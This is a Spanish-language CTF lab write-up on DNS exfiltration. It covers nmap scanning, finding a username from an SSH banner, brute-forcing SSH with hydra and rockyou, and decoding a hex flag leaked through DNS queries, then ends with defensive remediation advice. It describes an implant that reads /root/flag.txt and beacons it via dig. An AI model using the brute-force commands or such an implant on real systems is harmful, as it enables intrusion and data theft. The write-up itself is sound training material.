# ghostlabs-exdns — Writeup

## Descripción

**Dificultad**: ★★★★☆☆☆☆ (media-alta, 4 pts)
**Categoría**: Forense / Análisis de tráfico / Exfiltración
**Puertos**: 2222 (SSH), 53 (DNS)

Un servidor de análisis de amenazas tiene el DNS activo y los logs de monitorización accesibles. El sistema ha detectado tráfico anómalo. Tu misión: acceder a la máquina, analizar los logs DNS y recuperar los datos exfiltrados.

---

## Contexto — ¿Qué es la exfiltración DNS?

La **exfiltración por DNS** es una técnica usada por malware real, APTs y herramientas de red team para filtrar datos a través de un canal que habitualmente está permitido en firewalls corporativos: las consultas DNS.

El atacante (o el implante C2) codifica los datos como parte del nombre de dominio que consulta:

```
<DATOS_CODIFICADOS>.dominio-controlado-por-atacante.com
```

El servidor DNS del atacante recibe esa consulta y puede decodificar los datos aunque el tráfico HTTP/HTTPS esté bloqueado. Esta técnica se usa en:

- **Cobalt Strike** (DNS beacon)
- **DNScat2** (tunnel DNS completo)
- **Malware bancario** como Emotet para exfiltrar credenciales

En este laboratorio simulamos la perspectiva del **defensor**: accedes a una máquina comprometida donde hay un implante activo que exfiltra datos via DNS, y debes recuperar la información exfiltrada.

---

## Paso 1 — Reconocimiento de red

```bash
nmap -sV -p- --min-rate 3000 <LAB_IP>
```

Resultado esperado:

```
PORT     STATE SERVICE VERSION
53/tcp   open  domain  (custom DNS server)
2222/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4
```

La presencia de un servidor DNS junto a SSH es inusual en una máquina de análisis. El puerto 53 abierto es una pista clave: algo está usando DNS activamente.

---

## Paso 2 — Enumeración SSH: banner pre-autenticación

El servidor SSH está configurado con un banner de bienvenida visible **antes** de introducir credenciales. Podemos aprovecharlo para identificar usuarios:

```bash
ssh guest@<LAB_IP> -p 2222
```

Respuesta del servidor (antes de pedir contraseña):

```
GhostLabs Threat Detection Platform v1.2
DNS monitoring: ACTIVE

Contact: analyst (security analyst)
```

El banner revela el nombre de usuario: **`analyst`**.

> **Técnica**: el banner SSH pre-autenticación (`Banner /etc/ssh/banner` en sshd_config) es visible para cualquier cliente SSH antes de enviar credenciales. Es una fuente habitual de enumeración de usuarios en CTF y en entornos reales.

---

## Paso 3 — Fuerza bruta SSH

Con el usuario `analyst` identificado, lanzamos un ataque de diccionario:

```bash
hydra -l analyst -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
```

Resultado:

```
[2222][ssh] host: <LAB_IP>   login: analyst   password: abc123
```

Credenciales: **`analyst`** / **`abc123`**

---

## Paso 4 — Acceso inicial

```bash
ssh analyst@<LAB_IP> -p 2222
```

El MOTD nos da contexto inmediato:

```
GhostLabs TDP v1.2 — DNS monitoring active
Anomalous DNS traffic detected from this host.
Review monitoring logs for indicators of compromise.
```

La máquina ha detectado tráfico anómalo. Exploramos el entorno:

```bash
ls -la ~
```

```
-rw-r--r-- 1 analyst analyst  241 Apr  4 2026 README.txt
```

```bash
cat ~/README.txt
```

```
Threat Detection Platform — GhostLabs

ALERTA: Se ha detectado tráfico DNS anomalo desde este host.
El sistema de monitorizacion ha registrado consultas sospechosas.

Revisa /var/log/dns-queries.log para identificar los IOCs (Indicators of Compromise).
```

---

## Paso 5 — Análisis del log DNS

Revisamos los logs del servidor DNS:

```bash
ls -la /var/log/dns-queries.log
```

```
-rw-r--r-- 1 root root 512 Apr  4 2026 /var/log/dns-queries.log
```

El fichero es world-readable. Lo leemos:

```bash
cat /var/log/dns-queries.log
```

Veremos entradas repetidas cada 30 segundos:

```
2026-04-04 12:00:03 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs
2026-04-04 12:00:33 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs
2026-04-04 12:01:03 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs
```

**¿Qué está pasando?**

Hay un proceso en background que consulta periódicamente el dominio:
```
<DATOS_HEX>.data.leak.ghostlabs
```

Los datos se codifican en el **nombre del dominio consultado** (no en la respuesta). El servidor DNS del atacante simplemente registra las consultas para extraer los datos. Aquí el log DNS local nos permite recuperar esa información sin necesidad de controlar el servidor externo.

---

## Paso 6 — Extracción del subdomain

Extraemos el subdomain hex de la primera entrada del log:

```bash
grep "leak.ghostlabs" /var/log/dns-queries.log | head -1 | awk '{print $NF}' | cut -d. -f1
```

Resultado:

```
47686f73744c6162737b646e355f337866316c5f64337433637433647d
```

---

## Paso 7 — Decodificación: hex a ASCII

Los datos están codificados en hexadecimal. Los decodificamos:

**Opción A — Python3:**
```bash
python3 -c "print(bytes.fromhex('47686f73744c6162737b646e355f337866316c5f64337433637433647d').decode())"
```

**Opción B — Una línea desde el log:**
```bash
grep "leak.ghostlabs" /var/log/dns-queries.log | head -1 | awk '{print $NF}' | cut -d. -f1 | python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"
```

**Resultado:**

```
GhostLabs{dn5_3xf1l_d3t3ct3d}
```

---

## ¿Cómo funciona el mecanismo?

| Elemento | Descripción |
|----------|-------------|
| **Implante (beacon.sh)** | Loop infinito: lee `/root/flag.txt`, la codifica en hex, hace `dig @127.0.0.1 <HEX>.data.leak.ghostlabs` cada 30s |
| **Servidor DNS (dns_server.py)** | Python puro, UDP+TCP/53. Parsea el nombre de la consulta y lo escribe en el log. Responde NXDOMAIN |
| **Log (/var/log/dns-queries.log)** | World-readable. Contiene el timestamp, tipo de query y nombre completo consultado |
| **Codificación hex** | `GhostLabs{...}`.encode().hex() → 58 chars hexadecimales, válidos como label DNS (máx 63 chars) |

### DNS exfiltration real vs. este laboratorio

| Aspecto | Real (APT/C2) | Este laboratorio |
|---------|---------------|------------------|
| Servidor DNS del atacante | Controlado remotamente | Simulado localmente |
| Destino de las consultas | Dominio público del atacante | `data.leak.ghostlabs` (ficticio) |
| Interceptación | PCAP, proxy DNS, RPZ | Log local world-readable |
| Detección | Anomalía en FQDN length, frecuencia | MOTD + README |
| Codificación | Base64, hex, binary | Hex |

---

## Remediación

Para detectar y prevenir exfiltración DNS en entornos reales:

| Medida | Descripción |
|--------|-------------|
| **DNS Firewall / RPZ** | Response Policy Zones — bloquear dominios de C2 conocidos |
| **Monitorización de FQDN length** | Subdomain > 40 chars es anómalo; alerta en SIEM |
| **Frecuencia de queries** | Beacons tienen cadencia regular; detectar con análisis de series temporales |
| **DNS sobre HTTPS (DoH)** | Filtrar tráfico DoH hacia servidores no autorizados |
| **Segmentación** | Hosts internos no deben resolver dominios externos directamente |

---

## Herramientas utilizadas

| Herramienta | Uso |
|-------------|-----|
| `nmap` | Descubrimiento de puertos 53/tcp y 2222/tcp |
| `ssh` | Enumeración de banner pre-autenticación + acceso |
| `hydra` | Fuerza bruta SSH con rockyou.txt |
| `grep / awk / cut` | Extracción del subdomain hex del log |
| `python3` | Decodificación hex → ASCII |
